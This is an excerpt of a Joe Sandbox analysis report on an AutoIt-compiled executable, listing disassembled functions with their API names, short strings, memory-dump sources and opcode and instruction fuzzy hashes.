                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                          • String ID:
                                                          • API String ID: 2889604237-0
                                                          • Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
                                                          • Instruction ID: fbc4f45fe4228d3144b948f3eb30dc5b2637ff696ff625e2014fa1fa63b824d9
                                                          • Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
                                                          • Instruction Fuzzy Hash: 81E0E560E1B72286FA04DB62A80827C2264AB9AFE1F0044B0CD0ECBB55EE7CA8058300
                                                          Function 00007FF6A53D3287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                          • String ID:
                                                          • API String ID: 2889604237-0
                                                          • Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
                                                          • Instruction ID: 45cd9e2caf0e6d9204066d9533e18346f0369cfa74ef880e56e3cc9c9474b528
                                                          • Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
                                                          • Instruction Fuzzy Hash: 46E09A60E1B76286EA04DB62985827C2265AB9BFE1F0041B4CD0EDBB55EE7DA8058700
                                                          Function 00007FF6A53ACC78 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: gfffffff
                                                          • API String ID: 3215553584-1523873471
                                                          • Opcode ID: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
                                                          • Instruction ID: a97e988099e4d56fe23edfa1a184ec804a0c422e12090d835596497777f535b3
                                                          • Opcode Fuzzy Hash: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
                                                          • Instruction Fuzzy Hash: 51911B62A1BB8A85EF11CF259140778AB55ABA6FD0F048131EB9D47397EE3EE911C301
                                                          Function 00007FF6A53AD0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: e+000$gfff
                                                          • API String ID: 3215553584-3030954782
                                                          • Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
                                                          • Instruction ID: c457a43329eece949ef13f9b5d3c70b97e2fe4cf2c3c5796e665db9a87dcea57
                                                          • Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
                                                          • Instruction Fuzzy Hash: 14512962B29BC186EB65CF3599403696B91EBC2F90F489631C79CC7BD5EE2ED844C700
                                                          Function 00007FF6A54003C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _snwprintf
                                                          • String ID: , $$AUTOITCALLVARIABLE%d
                                                          • API String ID: 3988819677-2584243854
                                                          • Opcode ID: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
                                                          • Instruction ID: 535156d03467947d849ffb03039a57a5f61ea59ff1af77ffacb6b4e136bc0d98
                                                          • Opcode Fuzzy Hash: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
                                                          • Instruction Fuzzy Hash: 02314B76B0AA42D6EB10DB65E4511AC2771FB96B84F944032DE0E97B5ADF3CE90AC340
                                                          Function 00007FF6A541B224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$CreateMessageObjectSendStock
                                                          • String ID: $SysTabControl32
                                                          • API String ID: 2080134422-3143400907
                                                          • Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
                                                          • Instruction ID: 93e03513803127d4e9207cfcc30ba822c7c7021fe5e4c76a890195b9e2be693e
                                                          • Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
                                                          • Instruction Fuzzy Hash: 3E3148325097C1CAE760CF25E44479AB7A0F785BA4F144339EAA957AD8CF38D891CF50
                                                          Function 00007FF6A5419868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CreateObjectStockWindow
                                                          • String ID: Combobox
                                                          • API String ID: 1025951953-2096851135
                                                          • Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
                                                          • Instruction ID: af28393cf6c4961ace7f0ccb279d379d3dc79e7fb9d76f90bc9e3d35d1b853ea
                                                          • Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
                                                          • Instruction Fuzzy Hash: F6311832619781CAE770CF15B444B5AB7A1F785BA0F504235EAA947B99CF3CD855CF00
                                                          Function 00007FF6A53FE708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Internet$OpenOption
                                                          • String ID: <local>
                                                          • API String ID: 942729171-4266983199
                                                          • Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
                                                          • Instruction ID: 811611b8e2413c4a211ebf85abc85e0b6143680d82bc12c180688a53b4bc4180
                                                          • Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
                                                          • Instruction Fuzzy Hash: 07118926A2AA5182E791CB15E5047FD7261EFC2F48F944035DA49CA698DF3DDC4AD700
                                                          Function 00007FF6A541FEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CloseCreateHandleProcess
                                                          • String ID:
                                                          • API String ID: 3712363035-3916222277
                                                          • Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
                                                          • Instruction ID: 23f2dc7630d37455da6c4dd7ef84e2eead402edf3c6bc853dabc727c7c6444d1
                                                          • Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
                                                          • Instruction Fuzzy Hash: 23113331A1D78186E710DF16F90026AB6A5FB85B84F445135DA9D87E69CF3DD854CB00
                                                          Function 00007FF6A53DDEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ClassMessageNameSend
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 3678867486-1403004172
                                                          • Opcode ID: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
                                                          • Instruction ID: 6d5f09cef0b63d447980c8806e35651ffe010d1410c07e1910f79b417bc4a350
                                                          • Opcode Fuzzy Hash: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
                                                          • Instruction Fuzzy Hash: 7A018C22E2E94291FA20D714E5511F96360FFC7B94F444531D54DC799AEE2CDE08CB00
                                                          Function 00007FF6A53B15B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _ctrlfp_handle_error_raise_exc
                                                          • String ID: !$tan
                                                          • API String ID: 3384550415-2428968949
                                                          • Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
                                                          • Instruction ID: 45b0c15e75f31af6d4be8ac88fd924c0128ce88caf51db55a54b692dfcb1e95e
                                                          • Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
                                                          • Instruction Fuzzy Hash: 88019231A39F8942DA14DF22A44033A6662FBDBBD4F104335EA5E0BB89EF7DD5508B00
                                                          Function 00007FF6A53B14FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _ctrlfp_handle_error_raise_exc
                                                          • String ID: !$sin
                                                          • API String ID: 3384550415-1565623160
                                                          • Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
                                                          • Instruction ID: 8fc1d01f7d72d79a90cf8cdec7792ea21ff13827b7637771b0d805907e57b670
                                                          • Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
                                                          • Instruction Fuzzy Hash: AB01B172E29F8542DA14CF22944037AA262BFDBBD4F104335EA5E0AB89EF6DD5408B00
                                                          Function 00007FF6A53B14E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _ctrlfp_handle_error_raise_exc
                                                          • String ID: !$cos
                                                          • API String ID: 3384550415-1949035351
                                                          • Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
                                                          • Instruction ID: d4b16511804762edb7697f95a81323f2054065f9808362b08cdc3436d3f7623f
                                                          • Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
                                                          • Instruction Fuzzy Hash: F401B571E29F8941DA14DF22944037A6152BFDBBD4F104335EA5E0AB89EF7DD5508B00
                                                          Function 00007FF6A53B1370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _handle_error
                                                          • String ID: "$exp
                                                          • API String ID: 1757819995-2878093337
                                                          • Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
                                                          • Instruction ID: bf16f77bb05f3200f500d24c2ada3545ec2c872c9f3d9f5c33ee415f86ed097b
                                                          • Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
                                                          • Instruction Fuzzy Hash: F501A536D39E8882E220CF24D0452AB7BB0FFEA744F201315E74416A60EB7DD4819B00
                                                          Function 00007FF6A53DC59C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Message
                                                          • String ID: AutoIt$Error allocating memory.
                                                          • API String ID: 2030045667-4017498283
                                                          • Opcode ID: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
                                                          • Instruction ID: 55c8bdfa50f99cfbb0830025776603937d664483fad9023cc658345bbace931f
                                                          • Opcode Fuzzy Hash: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
                                                          • Instruction Fuzzy Hash: DAF02720B29A4682F728E351B1513B81251EF89BC0F440430C909C7B9ADDACD8808700
                                                          Function 00007FF6A53975C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          • try_get_function.LIBVCRUNTIME ref: 00007FF6A53975E9
                                                          • TlsSetValue.KERNEL32(?,?,?,00007FF6A5397241,?,?,?,?,00007FF6A539660C,?,?,?,?,00007FF6A5394CD3), ref: 00007FF6A5397600
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Valuetry_get_function
                                                          • String ID: FlsSetValue
                                                          • API String ID: 738293619-3750699315
                                                          • Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
                                                          • Instruction ID: c3a077ba6a8123045b70cb98e39ea987e27835f7ceb056fc8eca0f2a9241f597
                                                          • Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
                                                          • Instruction Fuzzy Hash: 13E06DA2A1EA92D1EB49CB56E4505FD2361EF8AF91F484072D91DC62D5DE3CEC88C700
                                                          Function 00007FF6A5395620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6A5395629
                                                          • _CxxThrowException.LIBVCRUNTIME ref: 00007FF6A539563A
                                                            • Part of subcall function 00007FF6A5397018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A539563F), ref: 00007FF6A539708D
                                                            • Part of subcall function 00007FF6A5397018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6A539563F), ref: 00007FF6A53970BF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
                                                          • String ID: Unknown exception
                                                          • API String ID: 3561508498-410509341
                                                          • Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
                                                          • Instruction ID: f34f11b558f6fee042cac9d3248a72e9189ad9c799e29c1c19da0f301e980c3f
                                                          • Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
                                                          • Instruction Fuzzy Hash: F0D05B62A26945D1DF10DB04D4553A96330FB92704FD04431D24DC15B1EF2CDE4AD300